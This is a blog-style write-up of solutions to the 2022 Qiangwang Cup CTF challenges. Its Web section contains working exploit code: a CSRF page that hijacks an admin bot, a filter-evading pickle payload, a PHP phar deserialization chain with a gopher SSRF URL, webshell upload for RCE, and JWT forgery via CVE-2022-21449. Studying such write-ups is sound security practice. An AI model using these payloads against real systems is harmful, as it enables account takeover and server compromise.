第六届强网杯全国网络安全挑战赛部分wp

Misc

签到

复制粘贴 flag{we1come_t0_qwb_s6}

问卷调查

做问卷结束截图OCR识别

flag{W31c0me_70_QWB2022_Se3_You_N3x7 _time}(应该是这个 记不清了)

Web

babyweb

1.注册一个用户,通过该用户进入后台页面
2.进入后有一个bot,可以执行修改密码和bug报告指令
3.查看源码,发现自定义的js中存在csrf漏洞,结合bot的功能,判断可以通过csrf修改admin密码
4.在VPS上构造如下exp,然后bugreport给bot

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>后台管理系统</title>
    <!--自定义函数-->
    <script>
    function sendtobot() {
        var ws = null;
        var url = "ws://127.0.0.1:8888/bot";
        ws = new WebSocket(url);
        ws.onopen = function (event) {
            alert("yes");
            ws.send("help")
            ws.send("changepw migooli")
        }
        ws.onmessage = function (ev) {
                    botsay(ev.data);
                };
    }
        function botsay(content) {
            document.getElementById("chatbox").append("bot: " + content + "\r\n");
        }
    
    </script>
    <script>sendtobot();</script>

    <!-- Bootstrap -->
    <link href="http://47.93.52.218:24839/static/bootstrap.css" rel="stylesheet">

    <!-- HTML5 shim 和 Respond.js 是为了让 IE8 支持 HTML5 元素和媒体查询(media queries)功能 -->
    <!-- 警告:通过 file:// 协议(就是直接将 html 页面拖拽到浏览器中)访问页面时 Respond.js 不起作用 -->
    <!--[if lt IE 9]>
    <script src="https://cdn.jsdelivr.net/npm/html5shiv@3.7.3/dist/html5shiv.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/respond.js@1.4.2/dest/respond.js"></script>
    <script type="text/javascript" src="jquery-1.7.2.js"></script>
    <![endif]-->
</head>
<body>
<nav class="navbar navbar-default" role="navigation">
    <!-- Brand and toggle get grouped for better mobile display -->
    <div class="navbar-header">
        <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-ex1-collapse">
            <span class="sr-only">Toggle navigation</span>
            <span class="icon-bar"></span>
            <span class="icon-bar"></span>
            <span class="icon-bar"></span>
        </button>
        <a class="navbar-brand" href=".">主页</a>
    </div>
    <!-- Collect the nav links, forms, and other content for toggling -->
    
    <div class="collapse navbar-collapse navbar-ex1-collapse">
        <ul class="nav navbar-nav navbar-right">
            <li><a href="/logout">登出</a></li>
        </ul>
    </div><!-- /.navbar-collapse -->
</nav>
<div style="padding: 100px 100px 10px;">
    <div class="form-group">
        <label for="name">一个好用简约的bot</label>
        <textarea class="form-control" rows="15" id="chatbox"></textarea>
    </div>
    <div class="form-group">
        <label for="name">输入框</label>
        <input type="text" class="form-control" placeholder="输入 help 查看bot使用方法" id="sendbox">
    </div>
    <div class="form-group" style="display: flex;flex-direction: column;align-items: flex-end;">
        <button type="button" class="btn btn-info" style="width: 20%;" onclick="sendtobot()">发送</button>
    </div>
</div>
<!-- jQuery (Bootstrap 的所有 JavaScript 插件都依赖 jQuery,所以必须放在前边) -->
<script src="http://47.93.52.218:24839/static/jquery.js"></script>
<!-- 加载 Bootstrap 的所有 JavaScript 插件。你也可以根据需要只加载单个插件。 -->
<script src="http://47.93.52.218:24839/static/bootstrap.js"></script>
</body>
</html>

在这里插入图片描述
5.这个时候我们已经成功修改了admin的密码,按修改后的密码登录到后台
在这里插入图片描述
6.选择购买一个flag,然后抓个包
在这里插入图片描述
7.发现传入的参数是嵌套的字典列表,这里根据积累与特征,尝试一波ctfshow学来的骚姿势,发现成功购买,而页面上也得到了flag
在这里插入图片描述
在这里插入图片描述

crash

1.进入环境,发现是flask源码

代码的大致思路是,用admin登陆后,先进行pickle序列化,然后base64编码,之后放到cookie里
这边有一个点是admin的密码是本地变量secret,而这个变量我们是不知道的,这边可以通过pickle反序列化实现变量覆盖,而pickle_data也进行了过滤,采用双写exec进行绕过

2.先访问/login?username=admin&password=migooli,然后抓包
在这里插入图片描述

3.构造出pickle_data,采用双写exec绕过,然后进行base64编码

pickle_data:(S'exec('admin.se'+'cret="migooli"')'i__builtin__exec.

4.将编码后的payload写入到cookie中的userdata,然后访问/balancer?username=admin&password=migooli
在这里插入图片描述
5.此时页面跳转到服务器负载均衡设置
在这里插入图片描述
6.查看源码,发现nginx配置文件,并且提示flag在504页面中
在这里插入图片描述
7.查看nginx配置文件,发现lua_package_path配置,结合上个月b站宕机事件,可以确定将权重设置为0即可跳转到504页面
在这里插入图片描述
8.提交完参数后等待一分钟即可拿到flag
在这里插入图片描述

easyweb

1.在showfile.php处发现目录穿越任意文件读取漏洞
在这里插入图片描述
在这里插入图片描述
2.联想到之前在ctfshow的大赛原题里做过类似的,但是是简化版的,思路都是构造phar包上传,然后unlink触发phar反序列化,从而执行恶意代码,构造的exp如下:

<?php
class Upload {
    public $file;
    public $filesize;
    public $date;
    public $tmp;
    function __construct(){
        $this->file = $_FILES["file"];
    }
    function do_upload() {
        $filename = session_id().explode(".",$this->file["name"])[0].".jpg";
        if(file_exists($filename)) {
            unlink($filename);
        }
        move_uploaded_file($this->file["tmp_name"],md5("2022qwb".$_SERVER['REMOTE_ADDR'])."/".$filename);
        echo 'upload  '."./".md5("2022qwb".$_SERVER['REMOTE_ADDR'])."/".$this->e($filename).' success!';
    }
    function e($str){
        return htmlspecialchars($str);
    }
    function upload() {
        if($this->check()) {
            $this->do_upload();
        }
    }
    function __toString(){
        return $this->file["name"];
    }
    function __get($value){
        $this->filesize->$value = $this->date;
        echo $this->tmp;
    }
    function check() {
        $allowed_types = array("jpg","png","jpeg");
        $temp = explode(".",$this->file["name"]);
        $extension = end($temp);
        if(in_array($extension,$allowed_types)) {
            return true;
        }
        else {
            echo 'Invalid file!';
            return false;
        }
    }
}

class GuestShow{
    public $file;
    public $contents;
    public function __construct($file)
    {

        $this->file=$file;
    }
    function __toString(){
        $str = $this->file->name;
        return "";
    }
    function __get($value){
        return $this->$value;
    }
    function show()
    {
        $this->contents = file_get_contents($this->file);
        $src = "data:jpg;base64,".base64_encode($this->contents);
        echo "<img src={$src} />";
    }
    function __destruct(){
        echo $this;
    }
}


class AdminShow{
    public $source;
    public $str;
    public $filter;
    public function __construct($file)
    {
        $this->source = $file;
        $this->schema = 'file:///var/www/html/';
    }
    public function __toString()
    {
        $content = $this->str[0]->source;
        $content = $this->str[1]->schema;
        return $content;
    }
    public function __get($value){
        $this->show();
        return $this->$value;
    }
    public function __set($key,$value){
        $this->$key = $value;
    }
    public function show(){
        if(preg_match('/usr|auto|log/i' , $this->source))
        {
            die("error");
        }
        $url = $this->schema . $this->source;
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $url);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($curl, CURLOPT_HEADER, 1);
        $response = curl_exec($curl);
        curl_close($curl);
        $src = "data:jpg;base64,".base64_encode($response);
        echo "<img src={$src} />";

    }
    public function __wakeup()
    {
        if ($this->schema !== 'file:///var/www/html/') {
            $this->schema = 'file:///var/www/html/';
        }
        if ($this->source !== 'admin.png') {
            $this->source = 'admin.png';
        }
    }
}

$GS = new GuestShow('test');
$GS1 = new GuestShow('test');

$UP = new Upload();
$UP1 = new Upload();
$UP2 = new Upload();

$GS->file = $UP;

$AS = new AdminShow('test');
$AS1 = new AdminShow('test');

$UP->tmp = $AS;

$AS->str[0] = $UP1;
$AS->str[1] = $UP2;

$UP1->filesize = $AS1;
$UP1->date = "gopher://10.10.10.10:80/_GET%20%2Findex%2Ephp%3Furl%3Dfile%3A%2F%2F%2Fflag%0AHost%3A%2010%2E10%2E10%2E10";
$UP2->filesize = $AS1;
$UP2->date = "";

$UP2->tmp = $GS1;

$GS1->file = $AS1;

@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($G);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

3.将构造好的恶意phar包改好名字和文件类型后在首页上传,这里为了绕过验证,还需要开启PHP_SESSION_UPLOAD_PROGRESS,并且需要添加cookie为admin
在这里插入图片描述
4.上传成功后在showfile.php利用phar协议进行读取,右键查看图片即可找到flag
在这里插入图片描述

强网先锋

rcefile

1.访问/www.zip,下载源码
2.在upload.php中发现黑名单列表
在这里插入图片描述
3.直接上传图片马,后缀名改为phar,直接解析拿到flag
在这里插入图片描述
在这里插入图片描述

WP_UM

1.开环境后一路安装,发现wordpress版本是6.0,User-Meta版本是2.4.3
2.搜索相关漏洞,发现了CVE-2022-0779
3.先注册个用户,然后在上传页面抓包,然后进行目录穿越,目录存在会显示remove,不存在则不会
在这里插入图片描述
在这里插入图片描述
4.利用这个漏洞,结合一开始说的猫哥把用户名放在了/username下面,密码放在了/password下面,逐位进行爆破,最后得到用户名MaoGePaMao和密码MaoGeYaoQiFeiLa(强烈谴责出题人,给孩子爆破麻了)
在这里插入图片描述
5.拿到用户名密码之后,成功登录进后台,修改UserMeta的上传白名单
在这里插入图片描述
6.返回首页,在upload上传一句话,成功RCE
在这里插入图片描述
7.flag不在根目录也不在当前目录,正则匹配也找不到flag,情况不对,连上蚁剑
8.最终在/usr/local/This_1s_secert中找到flag(出题人你玩得好啊)
在这里插入图片描述

polydiv

from hashlib import *
hash = 'c11853abfee399dfa9e6c7c75d7d91a5d7279fb31ab2f5f1d35ff9e81199bd2d'
data = 'JiTGtGwAKZ1F1APz'
table = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
for ch1 in table:
    for ch2 in table:
        for ch3 in table:
            for ch4 in table:
                hashvalue = sha256((ch1+ch2+ch3+ch4+data).encode()).hexdigest()
                if hashvalue == hash:
                    print(ch1+ch2+ch3+ch4)
                    quit()

首先通过sha256碰撞得到需要与系统交互的四位字符,得到r,a,c的式子

需要求解b(x),笨办法直接通过附件给的poly2.py脚本进行运算,将rac分别改为01的字符串,令m(x)=r(x)-c(x);令a(x)*b(x)=s(x),已知b(x)的位数为固定8位后可以通过假设b(x)初值为’11111111’进行修改0,1运算后得到正确的b(x),与系统进行交互

通过比对s和m相同后就得到正确的b,将b复制与系统交互

若干次交互后得到flag

ASR

给了n,e,c的rsa,且e=3刚开始考虑低指数加密,直接将c开e次方与通过爆破脚本发现若干小时后无法得到flag,发现n为四个数相乘的结果(假设为pqr*t)

通过yafu来分解n

得到 2872432989693854281918578458293603200587306199407874717707522587993136874097838265650829958344702997782980206004276973399784460125581362617464018665640001

继续分解20分钟左右在yafu的日志中发现四个数

得到四个数后,感觉是有限域开方的题,通过比对ctfshow类型题可发现直接上脚本用sagemath进行求解

from Crypto.Util.number import *
from gmpy2 import *

n = 8250871280281573979365095715711359115372504458973444367083195431861307534563246537364248104106494598081988216584432003199198805753721448450911308558041115465900179230798939615583517756265557814710419157462721793864532239042758808298575522666358352726060578194045804198551989679722201244547561044646931280001
e = 3
c = 945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149

p = 225933944608558304529179430753170813347
q = 260594583349478633632570848336184053653
r = 218566259296037866647273372633238739089
t = 223213222467584072959434495118689164399

R.<x> = Zmod(p)[]
f = x ^ e - c
f = f.monic()
ans1 = f.roots()

R.<x> = Zmod(q)[]
f = x ^ e - c
f = f.monic()
ans2 = f.roots()

R.<x> = Zmod(r)[]
f = x ^ e - c
f = f.monic()
ans3 = f.roots()

R.<x> = Zmod(t)[]
f = x ^ e - c
f = f.monic()
ans4 = f.roots()

for i in ans1:
    for j in ans2:
        for k in ans3:
            for m in ans4:
                m = crt([int(i[0]),int(j[0]),int(k[0]),int(m[0])],[p,q,r,t])
                flag = long_to_bytes(m)
                print(flag)

得到flag

Crypto

myJWT

1.下载源码,发现是ECDSA以及JWT相关的算法,并且是基于java语言的
在这里插入图片描述
2.搜索相关相关漏洞,发现了CVE-2022-21449
在这里插入图片描述
3.根据cve的描述,java的ECDSA算法中在取出sig中的r和s之后,并没有对r和s的范围进行校验,而且在拿到点p1之后也没有校验是否为无穷远点,从而可以利用(0,0)签名来绕过签名的验证
4.分析完之后,开始操作,连接靶机,输入自己的id,拿到token,拿到之后对token进行伪造,先把第二部分的jwt中的admin值改为true,然后用\x00填满第三部分
在这里插入图片描述
在这里插入图片描述

Reverse

GameMaster

拿到附件后发现是C#逆向

大致步骤如下:

逆向exe -> 找到解密过程 -> 解密gamemessage -> 分离出dll -> 找到check

使用dnSPY打开 进行反编译

代码审计

结合附件中的gamemessage,说明了此操作是针对内存的,将内存数据转储下来后处理导出

在goldfunc中找到相关逻辑

由此可知,可以将gamemessage先进行xor34后,再以Brainstorming!!!作为秘钥进行解密,从而获得内存数据,将内存数据使用010 查看

提取出来后,foremost分析分离出一个dll,再次使用dnspy分析,发现为ExploitClass.dll

由此可见,对三个数进行校验,校验通过的话便可得到flag

函数抄过去,使用python的z3库进行约束求解,

from z3 import *

result = Solver()

XorKeyList = [60, 100, 36, 86, 51, 251, 167, 108, 116, 245, 207, 223, 40, 103, 34, 62, 22, 251, 227]
CompareNumList = [101, 5, 80, 213, 163, 26, 59, 38, 19, 6, 173, 189, 198, 166, 140, 183, 42, 247, 223, 24, 106, 20, 145, 37, 24, 7,22, 191, 110, 179, 227, 5, 62, 9, 13, 17, 65, 22, 37, 5]


x = BitVec("x", 63)
y = BitVec("y", 63)
z = BitVec("z", 63)


num = -1

ArrayList = []
for i in range(len(CompareNumList)):
    ArrayList.append(BitVecVal(0, 63))

for i in range(320):
    x = (((x >> 29 ^ x >> 28 ^ x >> 25 ^ x >> 23) & 1) | x << 1)
    y = (((y >> 30 ^ y >> 27) & 1) | y << 1)
    z = (((z >> 31 ^ z >> 30 ^ z >> 29 ^ z >> 28 ^ z >> 26 ^ z >> 24) & 1) | z << 1)

    if i % 8 == 0:
        num += 1

    ArrayList[num] = ((ArrayList[num] << 1) | (((z >> 32 & 1 & (x >> 30 & 1)) ^ (((z >> 32 & 1) ^ 1) & (y >> 31 & 1)))))

for i in range(len(CompareNumList)):
    result.add(CompareNumList[i] == ArrayList[i])

assert result.check() == sat

result = result.model()

print(result)

反丢进计算过程中代入xyz求出flag

def check(x, y, z, ArrayList) -> list:
    num = -1

    for i in range(320):
        x = (((x >> 29 ^ x >> 28 ^ x >> 25 ^ x >> 23) & 1) | x << 1)
        y = (((y >> 30 ^ y >> 27) & 1) | y << 1)
        z = (((z >> 31 ^ z >> 30 ^ z >> 29 ^ z >> 28 ^ z >> 26 ^ z >> 24) & 1) | z << 1)

        flag = i % 8

        if (flag == 0):
            num += 1

        ArrayList[num] = (ArrayList[num] << 1) | ((z >> 32 & 1 & (x >> 30 & 1)) ^ (((z >> 32 & 1) ^ 1) & (y >> 31 & 1)))
    return ArrayList


def parse_key(L, Key) -> list:
    for i in range(3):
        for j in range(4):
            Key[i * 4 + j] = L[i] >> j * 8 & 255
    return Key


y = 868387187
x = 156324965
z = 3131229747
AnswerList = [x, y, z]

list2 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,0, 0, 0]
list4 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
list5 = [60, 100, 36, 86, 51, 251, 167, 108, 116, 245, 207, 223, 40, 103, 34, 62, 22, 251, 227]

list2 = check(x, y, z, list2)
list4 = parse_key(AnswerList, list4)

for i in range(len(list5)):
    list5[i] ^= list4[i % len(list4)]
    list5[i] = chr(list5[i])

flag = 'flag{' + ''.join(list5) + '}'
print(flag)

posted @ 2022-08-02 12:06  Suica  阅读(745)  评论(0编辑  收藏  举报